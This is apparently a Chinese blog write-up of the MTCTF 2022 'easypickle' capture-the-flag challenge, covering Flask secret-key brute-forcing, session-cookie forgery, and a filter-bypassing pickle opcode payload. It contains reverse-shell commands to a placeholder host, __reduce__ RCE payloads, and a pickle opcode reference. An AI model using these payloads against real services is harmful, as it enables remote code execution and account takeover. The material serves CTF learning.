2025-08-27-每日一题
[MTCTF 2022]easypickle
今天依然是pickle的一题
题目给啦附件app.py的代码
点击查看代码
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
app.config['SECRET_KEY'] = os.urandom(2).hex()
根据这句话得知是两个16进制数,那也就是四位
可写个key.txt脚本
点击查看代码
import os
file_path='./key.txt'
with open(file_path, 'w') as f:
for i in range(1,99999):
key = os.urandom(2).hex()
f.write("\"{}\"\n".format(key))
点击查看代码
flask-unsign --unsign --cookie "eyJ1c2VyIjoibmRhbm4ifQ.aK7GYw.SZHCm5IVh-Yjx4BeydGDUi298-g" --wordlist key.txt
也可以脚本一把梭
点击查看代码
import os
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
dic = '0123456789abcdef'
if __name__ == '__main__':
for i in dic:
for j in dic:
for k in dic:
for l in dic:
key = i + j + k + l
res = FSCM.decode('eyJ1c2VyIjoibmRhbm4ifQ.aK7GYw.SZHCm5IVh-Yjx4BeydGDUi298-g', key)
# print(res)
if 'user' in str(res):
print(key)
exit()
两种方法都是一样的值
我这个session得到值的是8971
再伪造cookie
python flask_session_cookie_manager3.py encode -s "8971" -t "{'user':'admin'}"
但这里还有一个waf
点击查看代码
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
首先将opcode进行关键字替换,然后base64解码赋值给a;接着进行if判断Rirb是否存在变量a中,然后进行pickle反序列化
我们需要传入ser_data下面会进行一次pickle.loads()方法也也就是说我们需要构造ser_data的value来让其反序列化RCE
但是它屏蔽了R i o b四个操作码
而pickle的对象是ser_data,而不是a,所以我们opcode中有os虽然被替换成Os,但是我们还是能执行opcode
点击查看代码
0: ( MARK 先传入一个标志到堆栈上,
1: S STRING 'key1' 给栈添加一行string类型数据key1
9: S STRING 'val1' 给栈添加一行string数据val1
17: d DICT (MARK at 0) 将堆栈里面的所有数据取出然后组成字典放入堆栈
18: S STRING 'vul' 放入一个string类型数据vul
25: ( MARK 再传入一个标志
26: c GLOBAL 'os system' c操作码提取下面的两行作为module下的一个全局对象此时就是os.system
37: V UNICODE 'calc' 读入一个字符串,以\n结尾;然后把这个字符串压进栈中
43: o OBJ (MARK at 25) o操作码建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数))
44: s SETITEM 从堆栈中弹出三个值,一个字典,一个键和值。键/值条目是添加到字典,它被推回到堆栈上
45: . STOP
payload = b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
但我们这里需要反弹shell
反弹shell中是需要用到i参数的,而i参数会被检测,但是V操作码是可以识别\u的所以我们可以把我们的代码进行unicode编码然后放入payload中

换成自己的vps
也可脚本得unicode
点击查看代码
command = "bash -c 'sh -i >& /dev/tcp/ip/2333 0>&1'"
unicode_encoded = ''.join(f'\\u{ord(c):04x}' for c in command)
print(unicode_encoded)
之后在编码下
点击查看代码
import base64
opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0069\u0070\u002f\u0070\u006f\u0072\u0074\u0020\u0030\u003e\u0026\u0031\u0027\u000a\nos.'''
print(base64.b64encode(opcode))
可编码,之后再
python flask_session_cookie_manager3.py encode -s "8971" -t "{'user':'admin','ser_data':'your_payload编码'}"
带上cookie的session,之后访问/admin
反弹shell

拿到flag
参考
https://xz.aliyun.com/news/15468
https://blog.csdn.net/m0_73512445/article/details/135159032?fromshare=blogdetail&sharetype=blogdetail&sharerId=135159032&sharerefer=PC&sharesource=2401_88310606&sharefrom=from_link
https://blog.csdn.net/your_friends/article/details/126979899?fromshare=blogdetail&sharetype=blogdetail&sharerId=126979899&sharerefer=PC&sharesource=2401_88310606&sharefrom=from_link
之后
我们来总结一些知识点
1.Pickle包含四种方法,具体如下所示
点击查看代码
pickle.dump(obj, file)
//将obj对象进行封存,即序列化,然后写入到file文件中
//注:这里的file需要以wb打开(二进制可写模式)
pickle.load(file)
//将file这个文件进行解封,即反序列化
//注:这里的file需要以rb打开(二进制可读模式)
pickle.dumps(obj)
//将obj对象进行封存,即序列化,然后将其作为bytes类型直接返回
pickle.loads(data)
//将data解封,即进行反序列化
//注:data要求为bytes-like object(字节类对象)
简单来说:
pickle.dumps()=>seriaize
pickle.loads()=>unserialize
2.常用payload
点击查看代码
import pickle
import base64
class A(object):
def \_\_reduce\_\_(self):
return (eval, ("\_\_import\_\_('os').popen('tac /flag').read()",))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
点击查看代码
import pickle
import os
import base64
class aaa():
def \_\_reduce\_\_(self):
return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))
a= aaa()
payload=pickle.dumps(a)
payload=base64.b64encode(payload)
print(payload)
#注意payloads生成的shell脚本需要在目标机器操作系统上执行,否则会报错
3.使用pickletools
例如
点击查看代码
import pickletools
data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)
0: \x80 PROTO 3
2: c GLOBAL 'builtins exec'
17: q BINPUT 0
19: X BINUNICODE "key1=b'1'\nkey2=b'2'"
43: q BINPUT 1
45: \x85 TUPLE1
46: q BINPUT 2
48: R REDUCE
49: q BINPUT 3
51: . STOP
highest protocol among opcodes = 2
| opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
|---|---|---|---|---|
| c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
| o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
| i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
| N | 实例化一个None | N | 获得的对象入栈 | 无 |
| S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 | 无 |
| V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
| I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
| F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
| R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
| . | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
| ( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
| t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| ) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
| l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| ] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
| d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| } | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
| p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
| g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
| 0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
| b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
| s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
| u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
| a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
| e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
5.给出实例
点击查看代码
import pickle
import pickletools
# 创建一个要 pickle 的对象
data = [1, 2, 3, {'name': 'Alice', 'age': 30}]
# 将其序列化为字节流
pickled_data = pickle.dumps(data, protocol=5)
# 使用 pickletools 反汇编
pickletools.dis(pickled_data)
输出示例:
点击查看代码
0: \x80 PROTO 5
2: \x95 FRAME 30
11: ] EMPTY_LIST
12: \x94 MEMOIZE (as 0)
13: ( MARK
14: K BININT1 1
16: K BININT1 2
18: K BININT1 3
20: } EMPTY_DICT
21: \x94 MEMOIZE (as 1)
22: ( MARK
23: \x8c SHORT_BINUNICODE 'name'
29: \x8c SHORT_BINUNICODE 'Alice'
36: \x8c SHORT_BINUNICODE 'age'
41: K BININT1 30
43: u SETITEMS (MARK at 22)
44: e APPENDS (MARK at 13)
45: . STOP
highest protocol among opcodes = 4
解释
点击查看代码
PROTO 5: pickle 流开始,声明使用协议版本 5。
FRAME 30: 一个数据帧开始(协议 4 的特性)。
EMPTY_LIST: 创建了一个空列表。
MEMOIZE: 将该空列表存入备忘录(索引 0),以便后续快速引用。
MARK: 压入一个标记,表示一个元组的开始。
BININT1 1, 2, 3: 将整数 1, 2, 3 推入栈。
EMPTY_DICT: 创建了一个空字典并存入备忘录(索引 1)。
另一个 MARK,然后推入键值对 'name'/'Alice' 和 'age'/30。
SETITEMS: 将 MARK 之后的所有键值对设置到字典中。
APPENDS: 将第一个 MARK 之后的所有元素(整数 1,2,3 和刚构建的字典)追加到列表中。
STOP: pickle 流结束。
6.常见绕过
绕过R指令
绕过builtins
绕过关键字过滤
......
参考
https://blog.csdn.net/google20/article/details/142071729?fromshare=blogdetail&sharetype=blogdetail&sharerId=142071729&sharerefer=PC&sharesource=2401_88310606&sharefrom=from_link
https://xz.aliyun.com/news/15468

浙公网安备 33010602011771号